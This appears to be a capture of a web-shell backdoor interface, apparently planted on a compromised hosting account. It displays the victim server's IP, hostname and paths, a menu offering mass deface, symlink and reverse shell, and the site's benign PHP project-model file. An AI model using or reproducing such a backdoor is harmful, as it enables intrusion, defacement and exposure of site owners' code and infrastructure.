Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html2
/
cuentame
/
models
/
Viewing: Project.php
<?php class Project { private $db; public function __construct() { $this->db = (new Database())->connect(); } public function getByUser($user_id) { $stmt = $this->db->prepare('SELECT * FROM projects WHERE user_id = ? ORDER BY created_at DESC'); $stmt->execute([$user_id]); return $stmt->fetchAll(PDO::FETCH_ASSOC); } public function getAll() { $stmt = $this->db->query('SELECT p.*, u.name as user_name, pm.name as project_manager_name, e.nombre_comercial as emprendimiento_name FROM projects p LEFT JOIN users u ON p.user_id = u.id LEFT JOIN users pm ON p.project_manager = pm.id LEFT JOIN emprendimientos e ON p.emprendimiento_id = e.id ORDER BY p.created_at DESC'); return $stmt->fetchAll(PDO::FETCH_ASSOC); } public function getById($id) { $stmt = $this->db->prepare('SELECT p.*, u.name as user_name, pm.name as project_manager_name, e.nombre_comercial as emprendimiento_name FROM projects p LEFT JOIN users u ON p.user_id = u.id LEFT JOIN users pm ON p.project_manager = pm.id LEFT JOIN emprendimientos e ON p.emprendimiento_id = e.id WHERE p.id = ?'); $stmt->execute([$id]); return $stmt->fetch(PDO::FETCH_ASSOC); } public function create($data) { $stmt = $this->db->prepare('INSERT INTO projects (user_id, emprendimiento_id, name, description, product, project_manager, status, start_date, end_date, progress, budget, paid_amount) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)'); $ok = $stmt->execute([ $data['user_id'], $data['emprendimiento_id'] ?? null, $data['name'], $data['description'], $data['product'], $data['project_manager'], $data['status'], $data['start_date'], $data['end_date'], $data['progress'], $data['budget'], $data['paid_amount'] ]); if ($ok) { return (int)$this->db->lastInsertId(); } return false; } public function update($id, $data) { // Obtener datos actuales para rellenar campos no proporcionados $current = $this->getById($id); if (!$current) { return false; } $stmt = $this->db->prepare('UPDATE projects SET user_id = ?, emprendimiento_id = ?, name = ?, description = ?, product = ?, project_manager = ?, status = ?, start_date = ?, end_date = ?, progress = ?, budget = ?, paid_amount = ? WHERE id = ?'); return $stmt->execute([ $data['user_id'] ?? $current['user_id'], $data['emprendimiento_id'] ?? $current['emprendimiento_id'], $data['name'] ?? $current['name'], $data['description'] ?? $current['description'], $data['product'] ?? $current['product'], $data['project_manager'] ?? $current['project_manager'], $data['status'] ?? $current['status'], $data['start_date'] ?? $current['start_date'], $data['end_date'] ?? $current['end_date'], isset($data['progress']) ? $data['progress'] : $current['progress'], isset($data['budget']) ? $data['budget'] : $current['budget'], isset($data['paid_amount']) ? $data['paid_amount'] : $current['paid_amount'], $id ]); } public function delete($id) { $stmt = $this->db->prepare('DELETE FROM projects WHERE id = ?'); return $stmt->execute([$id]); } public function updatePaidAmount($projectId, $amount) { $stmt = $this->db->prepare('UPDATE projects SET paid_amount = ? WHERE id = ?'); return $stmt->execute([$amount, $projectId]); } // Monto pendiente por usuario: suma de (budget - paid_amount) para estados Pendiente, En Progreso o Logrado public function getPendingAmountByUser($user_id) { $sql = 'SELECT SUM(COALESCE(budget,0) - COALESCE(paid_amount,0)) AS pending FROM projects WHERE user_id = ? AND status IN (?, ?, ?)'; $stmt = $this->db->prepare($sql); $stmt->execute([$user_id, 'Pendiente', 'En Progreso', 'Logrado']); $row = $stmt->fetch(PDO::FETCH_ASSOC); $val = $row && isset($row['pending']) ? (float)$row['pending'] : 0; $val = (int)round($val); return $val > 0 ? $val : 0; } public function getStatusOptions() { return [ 'En Progreso' => 'En Progreso', 'Pendiente' => 'Pendiente', 'Finalizado' => 'Finalizado', 'Cancelado' => 'Cancelado', 'Pausado' => 'Pausado' ]; } public function getProductOptions() { return [ 'Sistemas Digitales' => 'Sistemas Digitales', 'Planificación Estratégica' => 'Planificación Estratégica', 'Plan Financiero' => 'Plan Financiero', 'Marketing de Ventas' => 'Marketing de Ventas', 'Valuación Empresarial' => 'Valuación Empresarial', 'Diseño de Modelos de Negocio' => 'Diseño de Modelos de Negocio', 'Estructura de Costos' => 'Estructura de Costos', 'Plan de eMprendimiento' => 'Plan de eMprendimiento', 'Identidad Corporativa' => 'Identidad Corporativa', 'Desarrollo Web' => 'Desarrollo Web', 'e-Commerce' => 'e-Commerce', 'Plan de Marketing' => 'Plan de Marketing', 'Plan de Ventas' => 'Plan de Ventas', 'Plan de Operaciones' => 'Plan de Operaciones', 'Plan de Talento Humano' => 'Plan de Talento Humano', 'Plan de Social Media' => 'Plan de Social Media', 'Plan de Cultura Organizacional' => 'Plan de Cultura Organizacional', 'Plan de Crisis' => 'Plan de Crisis', 'Plan de Instalaciones' => 'Plan de Instalaciones', 'Plan de IDi' => 'Plan de IDi', 'Operaciones Múltiples' => 'Operaciones Múltiples', 'Manejo de Inventarios' => 'Manejo de Inventarios', 'Investigación de Mercados' => 'Investigación de Mercados', 'Embudos de Ventas' => 'Embudos de Ventas', 'Campaña de Marketing Digital' => 'Campaña de Marketing Digital', 'Campaña de Marketing Tradicional' => 'Campaña de Marketing Tradicional', 'Desarrollo de Marca Personal' => 'Desarrollo de Marca Personal', 'Análisis de Rentabilidad' => 'Análisis de Rentabilidad', 'Análisis CAC' => 'Análisis CAC', 'Capacidad de Endeudamiento' => 'Capacidad de Endeudamiento', 'Distribución de Dividendos' => 'Distribución de Dividendos', 'Diseño Organizacional' => 'Diseño Organizacional', 'Estados Financieros' => 'Estados Financieros', 'F.A.Q' => 'F.A.Q', 'Reclutamiento' => 'Reclutamiento' ]; } }
Coded With 💗 by
0x6ick